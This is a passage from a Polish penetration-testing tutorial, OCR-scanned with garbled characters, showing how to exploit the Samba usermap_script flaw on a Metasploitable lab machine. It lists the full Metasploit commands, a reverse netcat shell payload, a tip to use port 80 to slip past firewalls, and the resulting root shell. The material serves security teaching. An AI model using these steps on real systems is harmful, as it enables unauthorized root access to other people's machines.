uzywag, jak pokazano na ponizszym zrzucie ekranu:
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Przechodzimy do Metasploit i uruchamiamy msfconsole. Piszemy polecenie tak jak w poprzedniej
sekcji. Piszemy use, a nastepnie wpisujemy nazwe exploita, ktérego chcemy uzy¢. Nastepnie
wykonujemy show options. Polecenie bedzie wygladac nastepujaco:

use exploit/multi/samba/usermap_script show options
Oto wynik poprzedniego polecenia:

msf > use exploit/multi/samba/usermap script
msf exploit( ) > show options

Module options (exploit/multi/samba/usermap script):
Name Current Setting Required Description

RHOST yes The target address

RPORT 139 yes The target port (TCP)

Exploit target:
Id Name

Automatic

Korzystanie z tych exploitdw jest zawsze praktycznie takie samo. Jedyng réznicg jest options, ktéry
mozemy ustawi¢ dla kazdego exploita. Zawsze uruchamiamy use, wpisujemy nazwe exploita, a
nastepnie wykonujemy show options, aby sprawdzi¢, co mozemy zmienic, aby dziatat z tym exploitem.
W przysztosci prawdopodobnie bedziemy mieli do czynienia z innymi exploitami niz te, ktére mamy
teraz. Za kazdym razem, gdy chcemy uruchomi¢ exploit, wykonujemy use <exploit name>, a nastepnie
show options, aby wyswietli¢ opcje, ktére chcemy skonfigurowad. Jednak korzystanie z exploitéw,



ustawianie opcji i ich uruchamianie zawsze przebiega tak samo. Nauczymy sie kilku przyktaddw, ktére
powinny obejmowad praktycznie wszystko, co chcemy zrobi¢ w przysztosci. Ponownie musimy
skonfigurowaé¢ RHOST, czyli adres IP komputera docelowego, i zrobimy to tak samo, jak poprzednio.
Poniewaz ustawienie options jest zawsze takie samo, wykonamy set RHOST, a nastepnie wprowadzimy
adres IP komputera docelowego, czyli 10.0.2.4. Doktadnie tak jak poprzednio, uzywamy polecenia set,
aby ustawi¢ opcje, ktorg jest RHOST. Uruchomimy show options i jak widaé na ponizszym zrzucie
ekranu, RHOST zostanie ustawiony poprawnie zgodnie ze wskazanym adresem IP:

msf exploit( ~ set RHOST 10.0.2.4
RHOST => 10.0.2.4
msf exploit( ) > show options

Module options (exploit/multi/samba/usermap script):

Name Current Setting Required Description

RHOST 10.06.2.4 yes The target address

RPORT 139 yes The target port (TCP)

Exploit target:
Id Name

0 Automatic

Tutaj sprawy rdznig sie od poprzedniej sekcji. W poprzedniej sekcji uzylismy backdoora, ktéry byt juz
zainstalowany na komputerze docelowym, wiec wszystko, co musieliSmy zrobié, to potgczyé sie z
backdoorem, a nastepnie moglismy uruchomi¢ dowolne polecenia Linuksa na komputerze docelowym.
W tej sekcji komputer docelowy nie ma backdoora; ma normalny program, ktéry ma przepetnienie
bufora lub luke umozliwiajgcg wykonanie kodu. Program nie ma zadnego kodu, ktéry pozwalatby nam
na uruchamianie polecen Linuksa. Ma pewng wade, ktéra pozwoli nam uruchomi¢ maty fragment
kodu. Te mate fragmenty kodu nazywane s3g tadunkami. Musimy utworzy¢ tadunek, a nastepnie
uruchomic¢ go na komputerze docelowym, wykorzystujgc znaleziong luke. Ten fragment kodu pozwoli
nam zrobi¢ rézne rzeczy. tadunek pozwala nam robic rzeczy, ktore sg dla nas przydatne. tadunek moze
pozwala¢ na wykonywanie poleceni Linuksa, a w przysztosci oméwimy inne typy tadunkdéw. Aby
zobaczy¢, jakich fadunkéw mozna uzy¢ z tym konkretnym exploitem, wystarczy uruchomié polecenie
show playloads. Mozemy uzy¢ réznych typdw tadunkoéw, jak pokazano na ponizszym zrzucie ekranu:



tadunki to mate fragmenty kodu, ktére zostang wykonane na komputerze docelowym po
wykorzystaniu luki. Kiedy wykorzystamy luke, wybrany przez nas kod zostanie wykonany i, w zaleznosci
od wybranego typu tadunku, wykona on dla nas uzyteczne zadanie. W tej chwili widzimy, ze wszystkie
tadunki sg uruchamiane z poziomu wiersza polecen, co pozwala nam uruchamia¢ polecenia na
komputerze docelowym, tak jak polecenia Linuksa. Wszystkie dziatajg tylko w systemie Unix, poniewaz
naszym celem jest Linux. Istniejg dwa gtdwne typy tadunkow:

tadunki wigzace: Po prostu otwierajg port na komputerze docelowym, a my mozemy sie z nim
potaczyd.

tadunki odwrotne: Dziatajg odwrotnie niz tadunki wigzgce. Otwierajg port na moim komputerze, a
nastepnie taczg sie z komputera docelowego do naszego.

Jest to przydatne, poniewaz pozwala nam omingé zapory sieciowe. Zapory sieciowe filtrujg wszystkie
pofaczenia kierowane do komputera docelowego, ale jesli komputer docelowy pofaczy sie z nami, a
my nie mamy zapory sieciowej, bedziemy mogli jg oming¢. Uzyjemy tadunku

cmd/unixfreverse netedt - ggainia czedcig tych fadunkéw jest jezyk programowania lub

narzedzie, ktdre zostanie uzyte do utatwienia pofaczenia. Na przyktad, na poprzednim zrzucie ekranu
mozemy zobaczy¢ tadunki napisane w Perlu, Ruby, Pythonie, PHP lub przy uzyciu Netcata, ktéry jest
narzedziem umozliwiajgcym potgczenia miedzy komputerami. tadunek

emA/unix/freverse neteat o en ktérego bedziemy uzywaé, i bedziemy go uzywaé w taki sam

sposoéb, jak exploita. Uzyjemy go po prostu za pomoca polecenia set. Polecenie bedzie wygladac
nastepujaco:

set PAYLOAD cmd/unix/reverse_netcat

W ten sam sposdb, w jaki ustawiasz option, ustawimy tadunek. Wykonujemy show option, aby
sprawdzié, czy sq jakies inne options, ktére musimy set, a poniewaz wybralismy tadunek, jest ich wiecej.



Jak widaé na ponizszym zrzucie ekranu, istnieje opcja o nazwie LHOST, ktéra jest adresem nastuchu,
czyli naszym wtasnym adresem:

Set PAYLOAD cmd/unix/reverse netcat
exploit > show options

Module options

Name Current Setting Required

RHOST  1¢ . yes
RPORT 1 yes

(cmd/unlx/reverse netca

ting Required

LPORT 4444

Exploit target

Uzyskamy wtasny adres IP za pomocg polecenia ifconfig. W tym przyktadzie adres to 10.0.2.15, co
przedstawiono ponizej:

:~# ifconfig
ethO: flags=4163<UP, BROADCAST ,RUNNING ,MULTICAST>
inet 10.06.2.15 ]| netmask 255.255.25
inet6 feB80::a00:27ff:febb:9166 pre >
ether 08:00: :91:66 txqueuelen (Ethernet)
RX packets ¢ bytes 626680862 (597.6 MiB)
RX errors © dropped 0 verruns @ frame 0
TX packets 73395 bytes 5487095 (5.2 MiB)
TX errors © dropped © overruns 6 carrier © collisions ©

73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid Ox
p  txqueuelen 1000 (Local Loopback)
es 1836 (1.7 KiB)
d @ overru

Ustawimy LHOST w taki sam sposdb, w jaki ustawilismy RHOST wczesniej. Ustawilismy LHOST na
10.0.2.15. Wczesniej uzywaliSmy set RHOST, aby ustawi¢ te opcje. Teraz ustawiamy LHOST, aby
ustawi¢ te konkretng opcje. Polecenie set jest naprawde proste: set, <option name>, a nastepnie
<value>, na ktéry chcemy go ustawic:

set LHOST 10.0.2.15

Nastepnie wykonujemy show options i wszystko wydaje sie by¢é w porzadku, jak pokazano na
ponizszym zrzucie ekranu:



nsf exploit( ) > set LHOST 10.06.2.15
=> 10.0.2.15
) > show options
Module options (exploit/multi/samba/usermap script):
Name Current Setting Required Description
The target address
RPORT 139 The target port (TCP)
Payload options (cmd/unix/reverse netcat):

Name Current Setting Required

listen address
LPORT 4444 The listen port

Exploit target:

Id Name

0 Automatic

Wykorzystujemy ten exploit. RHOST jest ustawiony na 10.0.2.4, co jest w porzadku, a nastepnie
LHOST jest ustawiony na 10.0.2.15, co jest idealne, a nastepnie mozemy ustawic¢ port, na ktérym
bedziesz nastuchiwaé na swoim obecnym komputerze. Mozesz ustawi¢ go na 80, jesli chcesz. To port
uzywany przez przegladarki internetowe. Jesli ustawimy LPORT na 80 komputer docelowy sprébuje
potaczyé sie z nami przez port 80, ktdry nigdy nie jest filtrowany przez zapory sieciowe, poniewaz to
port uzywany przez przegladarki internetowe, czyli serwery WWW. Za kazdym razem, gdy uzyskujemy
dostep do witryny internetowej, w rzeczywistosci uzyskujemy dostep do portu 80 na tej witrynie. Jesli
otworzymy port 80 na naszym komputerze, a obiekt docelowy potaczy sie z nami przez port 80, zapora
sieciowa uzna, ze obiekt docelowy jedynie przeglada internet. Nie bedziemy tego teraz robi¢, poniewaz
mamy serwer WWW dziatajgcy na porcie 80, co spowoduje konflikt. Po prostu zmienimy port LPORT
na 5555, w taki sam sposéb jak LHOST. Ponownie wykonamy show options i, jak widaé na ponizszym
zrzucie ekranu, port ten zostat zmieniony na 5555:



f exploit( ) > set LPORT 5555
=> 5555
exploit( ) > show options

qodule options (exploit/multi/samba/usermap script):

[ ETS Current Setting Required Descriptior

3 The target address
RPORT 139 ) The target port (TCP)

Payload options (cmd/unix/reverse netcat):

ETS Current Setting Required Description

- 5

0.0.2.15 yes The listen address
555 yes The listen port

LHOST 1
LPORT 5

xploit target:
Id Name

0 Automatic

Teraz uruchomimy polecenie exploit, aby uruchomié exploit. Jak wida¢ na ponizszym zrzucie ekranu,
informuje ono, ze session 1 zostato otwarte i nawigzano potgczenie miedzy urzgdzeniem
10.0.2.15:5555 a urzadzeniem 10.0.2.4:48184, czyli naszym urzadzeniem i urzgdzeniem docelowym:

msf exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:5555

Command shell session 1 opened ( . 5555 -> 10.0.2.4:48184) at 2018-06-13 01 0400

Wykonamy pwd i wykonamy id. Zobaczymy, ze jestesmy root. Jesli wykonamy uname -a, zobaczymy,
ze jeste$my w maszynie Metasploitable, a jesli wykonamy Is, bedziemy mogli wyswietli¢ liste plikoéw
itd. Mozemy uzy¢ dowolnego polecenia Linuksa, tak jak zrobilismy to wczesniej w poprzedniej sekcji,
jak pokazano ponizej:



uid=8{root) gid=8{root)

uname -a
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bin

initrd
initrd.img
lib
lost+found
media

vmlinuz
Podsumowanie

Omowilismy koncepcje uzyskiwania dostepu do maszyny, a takze omowilismy sposoby jego uzyskania.
Omowilismy réwniez podstawy atakow po stronie serwera, czyli techniki uzyskiwania dostepu do
maszyn ofiar. Dowiedzielismy sie, jak uzyé domyslnego hasta lub btednie skonfigurowanej ustugi, aby
uzyskac¢ dostep do komputera docelowego. Nastepnie dowiedzielismy sig, jak uzy¢ ustugi zdomysinym
hastem, ustugi, ktéra nie zostata poprawnie skonfigurowana, oraz ustugi z backdoorem, aby uzyskac
petny dostep do komputera docelowego. PrzyjrzeliSmy sie rdwniez wykorzystaniu Metasploit do
potaczenia sie z backdoorem zainstalowanym w ustudze FTP.



